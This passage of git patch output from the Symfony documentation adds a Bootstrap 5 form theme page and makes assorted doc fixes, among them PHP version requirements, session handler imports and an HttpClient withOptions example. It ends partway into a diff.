+    By default, all inputs are rendered with the ``mb-3`` class on their container.
+    If you override the `row_attr` class option, the ``mb-3`` will be override too
+    and you will need to explicitly add it.
+
+Error Messages
+--------------
+
+Unlike the Bootstrap 4 template, errors are rendered **after** the ``input`` element.
+However, this still make a strong connection between the error and its ``<input>``, as
+required by the `WCAG 2.0 standard`_.
+
+Checkboxes and Radios
+---------------------
+
+For a checkbox/radio field, calling ``form_label()`` doesn't render anything.
+Due to Bootstrap internals, the label is already rendered by ``form_widget()``.
+
+Inline Checkboxes and Radios
+----------------------------
+
+If you want to render your checkboxes or radios fields `inline`_, you can add
+the `checkbox-inline` or `radio-inline` class, depending of your Symfony Form
+type or `ChoiceType` configuration, to the label class.
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        $builder
+            ->add('myCheckbox', CheckboxType::class, [
+                'label_attr' => [
+                    'class' => '`checkbox-inline',
+                ],
+            ])
+            ->add('myRadio', RadioType::class, [
+                'label_attr' => [
+                    'class' => 'radio-inline',
+                ],
+            ]);
+
+    .. code-block:: twig
+
+        {{ form_row(form.myCheckbox, {
+            label_attr: {
+                class: 'checkbox-inline'
+            }
+        }) }}
+
+        {{ form_row(form.myRadio, {
+            label_attr: {
+                class: 'radio-inline'
+            }
+        }) }}
+
+Switches
+________
+
+Bootstrap 5 allows to render checkboxes as "`switches`_". You can enable this feature
+on your Symfony Form ``CheckboxType`` by adding the ``checkbox-switch`` class to the label:
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        $builder->add('myCheckbox', CheckboxType::class, [
+            'label_attr' => [
+                'class' => 'checkbox-switch',
+            ],
+        ]);
+
+    .. code-block:: twig
+
+        {{ form_row(form.myCheckbox, {
+            label_attr: {
+                class: 'checkbox-switch'
+            }
+        }) }}
+
+.. tip::
+
+    You can also render your switches inline by simply adding the ``checkbox-inline`` class
+    on the ``label_attr`` option::
+
+        // ...
+        'label_attr' => [
+            'class' => '`checkbox-inline checkbox-switch',
+        ],
+        // ...
+
+.. caution::
+
+    Switches only work with **checkbox**.
+
+Input group
+___________
+
+To create `input group`_ in your Symfony Form, simply add the `input-group` class
+to the ``row_attr`` option.
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        $builder->add('email', CheckboxType::class, [
+            'label' => '@',
+            'row_attr' => [
+                'class' => 'input-group',
+            ],
+        ]);
+
+    .. code-block:: twig
+
+        {{ form_row(form.email, {
+            label: '@',
+            row_attr: {
+                class: 'input-group'
+            }
+        }) }}
+
+.. caution::
+
+    If you fill the `help` option of your form, it will also be rendered
+    as part of the group.
+
+Floating labels
+---------------
+
+To render an input field with a `floating label`_, you must add a ``label``,
+a ``placeholder`` and the ``form-floating`` class to the ``row_attr`` option
+of your form type.
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        $builder->add('name', TextType::class, [
+            'label' => 'Name',
+            'attr' => [
+                'placeholder' => 'Name',
+            ],
+            'row_attr' => [
+                'class' => 'form-floating',
+            ],
+        ]);
+
+    .. code-block:: twig
+
+        {{ form_row(form.name, {
+            label: 'Name',
+            attr: {
+                placeholder: 'Name'
+            },
+            row_attr: {
+                class: 'form-floating'
+            }
+        }) }}
+
+.. caution::
+
+    You **must** provide a ``label`` and a ``placeholder`` to make floating labels
+    work properly.
+
+Accessibility
+-------------
+
+The Bootstrap 5 framework has done a good job making it accessible for functional
+variations like impaired vision and cognitive ability. Symfony has taken this one
+step further to make sure the form theme complies with the `WCAG 2.0 standard`_.
+
+This does not mean that your entire website automatically complies with the full
+standard, but it does mean that you have come far in your work to create a design
+for **all** users.
+
+.. _`WCAG 2.0 standard`: https://www.w3.org/TR/WCAG20/
+.. _`inline`: https://getbootstrap.com/docs/5.0/forms/checks-radios/#inline
+.. _`switches`: https://getbootstrap.com/docs/5.0/forms/checks-radios/#switches
+.. _`input group`: https://getbootstrap.com/docs/5.0/forms/input-group/
+.. _`floating label`: https://getbootstrap.com/docs/5.0/forms/floating-labels/
diff --git a/forms.rst b/forms.rst
index 093e73e5cc2..3814caa0646 100644
--- a/forms.rst
+++ b/forms.rst
@@ -1042,6 +1042,7 @@ Form Themes and Customization:
     :maxdepth: 1
 
     /form/bootstrap4
+    /form/bootstrap5
     /form/form_customization
     /form/form_themes
 

From 245558c7f4966202a40a25cf0595533294869561 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 May 2021 15:28:10 +0200
Subject: [PATCH 2214/7107] Minor tweaks

---
 form/bootstrap5.rst | 54 +++++++++++++++++++++++----------------------
 1 file changed, 28 insertions(+), 26 deletions(-)

diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index 2a219c990a8..65f3ec10941 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -3,10 +3,10 @@ Bootstrap 5 Form Theme
 
 .. versionadded:: 5.3
 
-    The Bootstrap 5 Form Theme was introduce in Symfony 5.3.
+    The Bootstrap 5 Form Theme was introduced in Symfony 5.3.
 
-Symfony provides several ways of integrating Bootstrap into your application. The
-most straightforward way is to add the required ``<link>`` and ``<script>``
+Symfony provides several ways of integrating Bootstrap into your application.
+The most straightforward way is to add the required ``<link>`` and ``<script>``
 elements in your templates (usually you only include them in the main layout
 template which other templates extend from):
 
@@ -85,16 +85,16 @@ If you prefer to apply the Bootstrap styles on a form to form basis, include the
 
 .. note::
 
-    By default, all inputs are rendered with the ``mb-3`` class on their container.
-    If you override the `row_attr` class option, the ``mb-3`` will be override too
-    and you will need to explicitly add it.
+    By default, all inputs are rendered with the ``mb-3`` class on their
+    container. If you override the ``row_attr`` class option, the ``mb-3`` will
+    be override too and you will need to explicitly add it.
 
 Error Messages
 --------------
 
-Unlike the Bootstrap 4 template, errors are rendered **after** the ``input`` element.
-However, this still make a strong connection between the error and its ``<input>``, as
-required by the `WCAG 2.0 standard`_.
+Unlike the :doc:`Bootstrap 4 theme </form/bootstrap4>`, errors are rendered
+**after** the ``input`` element. However, this still makes a strong connection
+between the error and its ``<input>``, as required by the `WCAG 2.0 standard`_.
 
 Checkboxes and Radios
 ---------------------
@@ -106,8 +106,8 @@ Inline Checkboxes and Radios
 ----------------------------
 
 If you want to render your checkboxes or radios fields `inline`_, you can add
-the `checkbox-inline` or `radio-inline` class, depending of your Symfony Form
-type or `ChoiceType` configuration, to the label class.
+the ``checkbox-inline`` or ``radio-inline`` class, depending of your Symfony
+Form type or ``ChoiceType`` configuration, to the label class.
 
 .. configuration-block::
 
@@ -142,8 +142,9 @@ type or `ChoiceType` configuration, to the label class.
 Switches
 ________
 
-Bootstrap 5 allows to render checkboxes as "`switches`_". You can enable this feature
-on your Symfony Form ``CheckboxType`` by adding the ``checkbox-switch`` class to the label:
+Bootstrap 5 allows to render checkboxes as `switches`_. You can enable this
+feature on your Symfony Form ``CheckboxType`` by adding the ``checkbox-switch``
+class to the label:
 
 .. configuration-block::
 
@@ -165,12 +166,12 @@ on your Symfony Form ``CheckboxType`` by adding the ``checkbox-switch`` class to
 
 .. tip::
 
-    You can also render your switches inline by simply adding the ``checkbox-inline`` class
-    on the ``label_attr`` option::
+    You can also render your switches inline by simply adding the
+    ``checkbox-inline`` class on the ``label_attr`` option::
 
         // ...
         'label_attr' => [
-            'class' => '`checkbox-inline checkbox-switch',
+            'class' => 'checkbox-inline checkbox-switch',
         ],
         // ...
 
@@ -181,8 +182,8 @@ on your Symfony Form ``CheckboxType`` by adding the ``checkbox-switch`` class to
 Input group
 ___________
 
-To create `input group`_ in your Symfony Form, simply add the `input-group` class
-to the ``row_attr`` option.
+To create `input group`_ in your Symfony Form, simply add the ``input-group``
+class to the ``row_attr`` option.
 
 .. configuration-block::
 
@@ -206,7 +207,7 @@ to the ``row_attr`` option.
 
 .. caution::
 
-    If you fill the `help` option of your form, it will also be rendered
+    If you fill the ``help`` option of your form, it will also be rendered
     as part of the group.
 
 Floating labels
@@ -244,19 +245,20 @@ of your form type.
 
 .. caution::
 
-    You **must** provide a ``label`` and a ``placeholder`` to make floating labels
-    work properly.
+    You **must** provide a ``label`` and a ``placeholder`` to make floating
+    labels work properly.
 
 Accessibility
 -------------
 
-The Bootstrap 5 framework has done a good job making it accessible for functional
-variations like impaired vision and cognitive ability. Symfony has taken this one
-step further to make sure the form theme complies with the `WCAG 2.0 standard`_.
+The Bootstrap 5 framework has done a good job making it accessible for
+functional variations like impaired vision and cognitive ability. Symfony has
+taken this one step further to make sure the form theme complies with the
+`WCAG 2.0 standard`_.
 
 This does not mean that your entire website automatically complies with the full
-standard, but it does mean that you have come far in your work to create a design
-for **all** users.
+standard, but it does mean that you have come far in your work to create a
+design for **all** users.
 
 .. _`WCAG 2.0 standard`: https://www.w3.org/TR/WCAG20/
 .. _`inline`: https://getbootstrap.com/docs/5.0/forms/checks-radios/#inline

From e51cb18429369cc3863abd99c4ca9b5696c5b7dc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 May 2021 15:42:14 +0200
Subject: [PATCH 2215/7107] Fixed some references

---
 form/bootstrap4.rst         | 2 +-
 form/bootstrap5.rst         | 2 --
 form/form_customization.rst | 2 +-
 3 files changed, 2 insertions(+), 4 deletions(-)

diff --git a/form/bootstrap4.rst b/form/bootstrap4.rst
index 34b83b6a203..a9214495e01 100644
--- a/form/bootstrap4.rst
+++ b/form/bootstrap4.rst
@@ -77,7 +77,7 @@ If you prefer to apply the Bootstrap styles on a form to form basis, include the
         {{ form(form) }}
     {% endblock %}
 
-.. _reference-forms-bootstrap-error-messages:
+.. _reference-forms-bootstrap4-error-messages:
 
 Error Messages
 --------------
diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index 65f3ec10941..3608b20f562 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -81,8 +81,6 @@ If you prefer to apply the Bootstrap styles on a form to form basis, include the
         {{ form(form) }}
     {% endblock %}
 
-.. _reference-forms-bootstrap-error-messages:
-
 .. note::
 
     By default, all inputs are rendered with the ``mb-3`` class on their
diff --git a/form/form_customization.rst b/form/form_customization.rst
index 125b01e749a..b7aa3dd80c4 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -258,7 +258,7 @@ Renders any errors for the given field.
 .. caution::
 
     In the Bootstrap 4 form theme, ``form_errors()`` is already included
-    in ``form_label()``, see ":ref:`reference-forms-bootstrap-error-messages`"
+    in ``form_label()``, see ":ref:`reference-forms-bootstrap4-error-messages`"
 
 .. _reference-forms-twig-widget:
 

From 598b5ed4589c95cce95259bf605aed18b2399fbd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 May 2021 16:03:12 +0200
Subject: [PATCH 2216/7107] Minor tweak

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index aa40f23a3f8..ff9f272a0f2 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1023,8 +1023,8 @@ The transport has a number of options:
 ``queues[name][binding_arguments]``           Arguments to be used while binding the queue.
 ``queues[name][binding_keys]``                The binding keys (if any) to bind to this queue
 ``queues[name][flags]``                       Queue flags                                        ``AMQP_DURABLE``
-``exchange[arguments]``                       Extra arguments for the exchange i.e.
-                                              alternate-exchange
+``exchange[arguments]``                       Extra arguments for the exchange (e.g.
+                                              ``alternate-exchange``)
 ``exchange[default_publish_routing_key]``     Routing key to use when publishing, if none is
                                               specified on the message
 ``exchange[flags]``                           Exchange flags                                     ``AMQP_DURABLE``

From e638cf3bd87190f0957888df0c341c4eff1d158d Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Fri, 21 May 2021 16:05:30 +0200
Subject: [PATCH 2217/7107] Update service_container.rst

---
 service_container.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index e40c07a3587..26822ceb57b 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -645,7 +645,7 @@ But, you can control this and pass in a different logger:
             // ... same code as before
 
             // explicitly configure the service
-            $services->set(SiteUpdateManager::class)
+            $services->set(MessageGenerator::class)
                 ->arg('$logger', ref('monolog.logger.request'))
             ;
         };

From 3b47f523d1e5a76a6c9f292fd9e2887ac185a6ea Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 May 2021 16:42:18 +0200
Subject: [PATCH 2218/7107] Minor tweak

---
 messenger.rst | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index ea301c44d33..e709b3ac37c 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -493,14 +493,13 @@ On production, there are a few important things to think about:
     new worker processes. The command uses the :ref:`app <cache-configuration-with-frameworkbundle>`
     cache internally - so make sure this is configured to use an adapter you like.
 
-.. note::
-
+**Use the Same Cache Between Deploys**
     If your deploy strategy involves the creation of new target directories, you
     should set a value for the :ref:`cache.prefix.seed <reference-cache-prefix-seed>`
-    configuration option in order to let this command use always the same cache namespace
-    between deployments. Otherwise, the ``cache.app`` pool will use the value of the
-    ``kernel.project_dir`` parameter as base for the namespace, which will lead to
-    different namespaces each time a new deployment is made.
+    configuration option in order to use the same cache namespace between deployments.
+    Otherwise, the ``cache.app`` pool will use the value of the ``kernel.project_dir``
+    parameter as base for the namespace, which will lead to different namespaces
+    each time a new deployment is made.
 
 Prioritized Transports
 ~~~~~~~~~~~~~~~~~~~~~~

From a7ad737e1995aef1f167489acbe8207b7e0c1468 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 13 Apr 2021 21:25:43 +0200
Subject: [PATCH 2219/7107] Adding label_html for asterisk

---
 form/bootstrap4.rst            | 7 +++++++
 reference/forms/types/form.rst | 2 ++
 2 files changed, 9 insertions(+)

diff --git a/form/bootstrap4.rst b/form/bootstrap4.rst
index ccf4659738c..4d2c0db5da9 100644
--- a/form/bootstrap4.rst
+++ b/form/bootstrap4.rst
@@ -88,6 +88,13 @@ is a strong connection between the error and its ``<input>``, as required by the
 ``form_label()`` internally. If you call to ``form_errors()`` in your template,
 you'll get the error messages displayed *twice*.
 
+.. tip::
+
+    Since form errors are rendered *inside* the ``<label>``, you cannot use CSS
+    ``:after`` to append an asterisk to the label, because it would be displayed
+    after the error message. Use the :ref:`label <reference-form-option-label-html>`
+    option instead.
+
 Checkboxes and Radios
 ---------------------
 
diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index 4099436430b..55d0a03a7e5 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -170,6 +170,8 @@ of the form type tree (i.e. it cannot be used as a form type on its own).
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
+.. _reference-form-option-label:
+
 .. include:: /reference/forms/types/options/label.rst.inc
 
 .. include:: /reference/forms/types/options/row_attr.rst.inc

From ff8a81e7c609399eae1f4ba3009312e6d67d1d4a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 May 2021 17:08:03 +0200
Subject: [PATCH 2220/7107] Minor improvement

---
 form/bootstrap4.rst            | 4 ++--
 reference/forms/types/form.rst | 2 ++
 2 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/form/bootstrap4.rst b/form/bootstrap4.rst
index cfbb43a53ef..dea3d7dad8d 100644
--- a/form/bootstrap4.rst
+++ b/form/bootstrap4.rst
@@ -92,8 +92,8 @@ you'll get the error messages displayed *twice*.
 
     Since form errors are rendered *inside* the ``<label>``, you cannot use CSS
     ``:after`` to append an asterisk to the label, because it would be displayed
-    after the error message. Use the :ref:`label <reference-form-option-label-html>`
-    option instead.
+    after the error message. Use the :ref:`label <reference-form-option-label>`
+    or :ref:`label_html <reference-form-option-label-html>` options instead.
 
 Checkboxes and Radios
 ---------------------
diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index fa83a8ba4df..459156e88ba 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -179,6 +179,8 @@ of the form type tree (i.e. it cannot be used as a form type on its own).
 
 .. include:: /reference/forms/types/options/label.rst.inc
 
+.. _reference-form-option-label-html:
+
 .. include:: /reference/forms/types/options/label_html.rst.inc
 
 .. include:: /reference/forms/types/options/row_attr.rst.inc

From 5b4eb697aa3496837f299fe82d2fff7b1eaecb47 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 May 2021 17:08:36 +0200
Subject: [PATCH 2221/7107] Fixed a reference

---
 form/bootstrap4.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/bootstrap4.rst b/form/bootstrap4.rst
index 4d2c0db5da9..501dd88509f 100644
--- a/form/bootstrap4.rst
+++ b/form/bootstrap4.rst
@@ -92,7 +92,7 @@ you'll get the error messages displayed *twice*.
 
     Since form errors are rendered *inside* the ``<label>``, you cannot use CSS
     ``:after`` to append an asterisk to the label, because it would be displayed
-    after the error message. Use the :ref:`label <reference-form-option-label-html>`
+    after the error message. Use the :ref:`label <reference-form-option-label>`
     option instead.
 
 Checkboxes and Radios

From 1fbacaf0467d8f805898f227250986ee09364907 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 19 May 2021 17:13:46 +0200
Subject: [PATCH 2222/7107] Bump Symfony PHP requirements to 8.0.2

---
 components/property_info.rst          | 4 ++--
 configuration/secrets.rst             | 9 +--------
 quick_tour/the_big_picture.rst        | 2 +-
 reference/configuration/framework.rst | 5 -----
 reference/configuration/security.rst  | 4 +---
 security/named_hashers.rst            | 6 +-----
 setup.rst                             | 5 ++---
 7 files changed, 8 insertions(+), 27 deletions(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index b6684d948d8..5a4e62b6cd2 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -122,7 +122,7 @@ class exposes public methods to extract several types of information:
 
 * :ref:`List of properties <property-info-list>`: :method:`Symfony\\Component\\PropertyInfo\\PropertyListExtractorInterface::getProperties`
 * :ref:`Property type <property-info-type>`: :method:`Symfony\\Component\\PropertyInfo\\PropertyTypeExtractorInterface::getTypes`
-  (including typed properties since PHP 7.4)
+  (including typed properties)
 * :ref:`Property description <property-info-description>`: :method:`Symfony\\Component\\PropertyInfo\\PropertyDescriptionExtractorInterface::getShortDescription` and :method:`Symfony\\Component\\PropertyInfo\\PropertyDescriptionExtractorInterface::getLongDescription`
 * :ref:`Property access details <property-info-access>`: :method:`Symfony\\Component\\PropertyInfo\\PropertyAccessExtractorInterface::isReadable` and  :method:`Symfony\\Component\\PropertyInfo\\PropertyAccessExtractorInterface::isWritable`
 * :ref:`Property initializable through the constructor <property-info-initializable>`:  :method:`Symfony\\Component\\PropertyInfo\\PropertyInitializableExtractorInterface::isInitializable`
@@ -357,7 +357,7 @@ Using PHP reflection, the :class:`Symfony\\Component\\PropertyInfo\\Extractor\\R
 provides list, type and access information from setter and accessor methods.
 It can also give the type of a property (even extracting it from the constructor
 arguments), and if it is initializable through the constructor. It supports
-return and scalar types for PHP 7::
+return and scalar types::
 
     use Symfony\Component\PropertyInfo\Extractor\ReflectionExtractor;
 
diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 8db723d63de..bcb7e82c533 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -14,10 +14,7 @@ store them by using Symfony's secrets management system - sometimes called a
 
 .. note::
 
-    The Secrets system requires the sodium PHP extension that is bundled
-    with PHP 7.2. If you're using an earlier PHP version, you can
-    install the `libsodium`_ PHP extension or use the
-    `paragonie/sodium_compat`_ package.
+    The Secrets system requires the Sodium PHP extension.
 
 .. _secrets-generate-keys:
 
@@ -317,7 +314,3 @@ The secrets system is enabled by default and some of its behavior can be configu
                 // ->decryptionEnvVar('base64:default::SYMFONY_DECRYPTION_SECRET')
             ;
         };
-
-
-.. _`libsodium`: https://pecl.php.net/package/libsodium
-.. _`paragonie/sodium_compat`: https://github.com/paragonie/sodium_compat
diff --git a/quick_tour/the_big_picture.rst b/quick_tour/the_big_picture.rst
index b6ad8eaafdd..34ebc1e1b96 100644
--- a/quick_tour/the_big_picture.rst
+++ b/quick_tour/the_big_picture.rst
@@ -14,7 +14,7 @@ safe & easy!) and offers long-term support.
 Downloading Symfony
 -------------------
 
-First, make sure you've installed `Composer`_ and have PHP 7.1.3 or higher.
+First, make sure you've installed `Composer`_ and have PHP 8.0.2 or higher.
 
 Ready? In a terminal, run:
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index cfd85b374a7..f4ef18635e4 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1656,11 +1656,6 @@ The possible values for this option are:
   user consciously made the request (by clicking a link or submitting a form
   with the ``GET`` method).
 
-.. note::
-
-    This option is available starting from PHP 7.3, but Symfony has a polyfill
-    so you can use it with any older PHP version as well.
-
 cookie_secure
 .............
 
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index fa9acdaa6a8..72b6f9b5fec 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -327,8 +327,7 @@ Using the Sodium Password Hasher
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 It uses the `Argon2 key derivation function`_ and it's the hasher recommended
-by Symfony. Argon2 support was introduced in PHP 7.2, but if you use an earlier
-PHP version, you can install the `libsodium`_ PHP extension.
+by Symfony.
 
 The hashed passwords are ``96`` characters long, but due to the hashing
 requirements saved in the resulting hash this may change in the future, so make
@@ -853,7 +852,6 @@ role inheritance rules by creating a role hierarchy, as explained in
 :ref:`security-role-hierarchy`.
 
 .. _`PBKDF2`: https://en.wikipedia.org/wiki/PBKDF2
-.. _`libsodium`: https://pecl.php.net/package/libsodium
 .. _`Session Fixation`: https://owasp.org/www-community/attacks/Session_fixation
 .. _`Argon2 key derivation function`: https://en.wikipedia.org/wiki/Argon2
 .. _`bcrypt password hashing function`: https://en.wikipedia.org/wiki/Bcrypt
diff --git a/security/named_hashers.rst b/security/named_hashers.rst
index 06f31852020..033986cf861 100644
--- a/security/named_hashers.rst
+++ b/security/named_hashers.rst
@@ -110,9 +110,7 @@ be done with named hashers:
 
 .. note::
 
-    If you are running PHP 7.2+ or have the `libsodium`_ extension installed,
-    then the recommended hashing algorithm to use is
-    :ref:`Sodium <reference-security-sodium>`.
+    The recommended hashing algorithm to use is :ref:`Sodium <reference-security-sodium>`.
 
 This creates a hasher named ``harsh``. In order for a ``User`` instance
 to use it, the class must implement
@@ -188,5 +186,3 @@ you must register a service for it in order to use it as a named hasher:
 
 This creates a hasher named ``app_hasher`` from a service with the ID
 ``App\Security\Hasher\MyCustomPasswordHasher``.
-
-.. _`libsodium`: https://pecl.php.net/package/libsodium
diff --git a/setup.rst b/setup.rst
index bca61758e65..f3218bf608f 100644
--- a/setup.rst
+++ b/setup.rst
@@ -17,8 +17,8 @@ Technical Requirements
 
 Before creating your first Symfony application you must:
 
-* Install PHP 7.2.5 or higher and these PHP extensions (which are installed and
-  enabled by default in most PHP 7 installations): `Ctype`_, `iconv`_, `JSON`_,
+* Install PHP 8.0.2 or higher and these PHP extensions (which are installed and
+  enabled by default in most PHP 8 installations): `Ctype`_, `iconv`_,
   `PCRE`_, `Session`_, `SimpleXML`_, and `Tokenizer`_;
 * `Install Composer`_, which is used to install PHP packages.
 
@@ -315,7 +315,6 @@ Learn More
 .. _`Contrib recipe repository`: https://github.com/symfony/recipes-contrib
 .. _`Symfony Recipes documentation`: https://github.com/symfony/recipes/blob/master/README.rst
 .. _`iconv`: https://www.php.net/book.iconv
-.. _`JSON`: https://www.php.net/book.json
 .. _`Session`: https://www.php.net/book.session
 .. _`Ctype`: https://www.php.net/book.ctype
 .. _`Tokenizer`: https://www.php.net/book.tokenizer

From cae061883c301031dfda501af024360fd95a3619 Mon Sep 17 00:00:00 2001
From: Giulio Lastra <giuliolastra@users.noreply.github.com>
Date: Mon, 24 May 2021 11:35:41 +0200
Subject: [PATCH 2223/7107] Changed version for composer create-project

Version was 5.3 instead of 6.0
---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index f3218bf608f..70a8fcb31ac 100644
--- a/setup.rst
+++ b/setup.rst
@@ -65,10 +65,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton:"5.3.x@dev" my_project_name
+    $ composer create-project symfony/website-skeleton:"6.0.x@dev" my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"5.3.x@dev" my_project_name
+    $ composer create-project symfony/skeleton:"6.0.x@dev" my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies

From 47c02598c023c8aef8d33469e4f28e8e4eff45a3 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Mon, 24 May 2021 20:22:30 +0200
Subject: [PATCH 2224/7107] [Session] Fix handler import

I found two examples where PdoSessionHandler is imported instead of MongoDbSessionHandler.
---
 session/database.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/session/database.rst b/session/database.rst
index eccff3062a2..fb84e8f45eb 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -487,7 +487,7 @@ the MongoDB connection as argument:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
 
         return static function (ContainerConfigurator $container) {
             $services = $configurator->services();
@@ -596,7 +596,7 @@ configure these values with the second argument passed to the
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
 
         return static function (ContainerConfigurator $container) {
             $services = $configurator->services();

From f03863d75652f2f806c0d10f613b5ed20b70e527 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jan=20Sch=C3=A4dlich?=
 <1880467+jschaedl@users.noreply.github.com>
Date: Tue, 25 May 2021 08:39:50 +0200
Subject: [PATCH 2225/7107] Remove master wording

---
 contributing/code/conventions.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/conventions.rst b/contributing/code/conventions.rst
index e09fc3fbabb..932bc01c475 100644
--- a/contributing/code/conventions.rst
+++ b/contributing/code/conventions.rst
@@ -223,7 +223,7 @@ Removing Deprecated Code
 ------------------------
 
 Removing deprecated code can only be done once every 2 years, on the next major version of the
-impacted component (``master`` branch).
+impacted component (``6.0`` branch).
 
 When removing deprecated code, the consequences of the deprecation must be added to the ``CHANGELOG.md`` file
 of the impacted component:

From 3c3fc1d5d746560ec3756f1be6dc768173dcc85a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 25 May 2021 09:40:39 +0200
Subject: [PATCH 2226/7107] Minor tweak

---
 contributing/code/conventions.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/contributing/code/conventions.rst b/contributing/code/conventions.rst
index 932bc01c475..7a41d20cc7c 100644
--- a/contributing/code/conventions.rst
+++ b/contributing/code/conventions.rst
@@ -222,11 +222,11 @@ All these tasks are mandatory and must be done in the same pull request.
 Removing Deprecated Code
 ------------------------
 
-Removing deprecated code can only be done once every 2 years, on the next major version of the
-impacted component (``6.0`` branch).
+Removing deprecated code can only be done once every two years, on the next
+major version of the impacted component (``6.0`` branch, ``7.0`` branch, etc.).
 
-When removing deprecated code, the consequences of the deprecation must be added to the ``CHANGELOG.md`` file
-of the impacted component:
+When removing deprecated code, the consequences of the deprecation must be added
+to the ``CHANGELOG.md`` file of the impacted component:
 
 .. code-block:: markdown
 

From f447179249c7222cbfd9df7214991870652d23e7 Mon Sep 17 00:00:00 2001
From: Antonin CLAUZIER <antonin@clauzier.dev>
Date: Mon, 24 May 2021 12:39:55 +0200
Subject: [PATCH 2227/7107] [HttpClient] HttpClientInterface::withOptions
 method

---
 http_client.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 81ea39a6905..a4aa1b0043d 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -138,6 +138,18 @@ You can configure the global options using the ``default_options`` option:
              'max_redirects' => 7,
         ]);
 
+You can also use the :method:`Symfony\\Contracts\\HttpClient\\HttpClientInterface::withOptions`
+method to retrieve a new instance of the client with new default options::
+
+        $this->client = $client->withOptions([
+            'base_uri' => 'https://...',
+            'headers' => ['header-name' => 'value0, value1, ...']
+        ]);
+
+.. versionadded:: 5.3
+
+    The :method:`Symfony\\Contracts\\HttpClient\\HttpClientInterface::withOptions` method was introduced in Symfony 5.3.
+
 Some options are described in this guide:
 
 * `Authentication`_

From cfdbb167675dcbdfd0fbd2bfa1e3c05daeda0283 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 25 May 2021 11:36:00 +0200
Subject: [PATCH 2228/7107] Minor tweak

---
 http_client.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index a4aa1b0043d..08266c7356f 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -141,14 +141,14 @@ You can configure the global options using the ``default_options`` option:
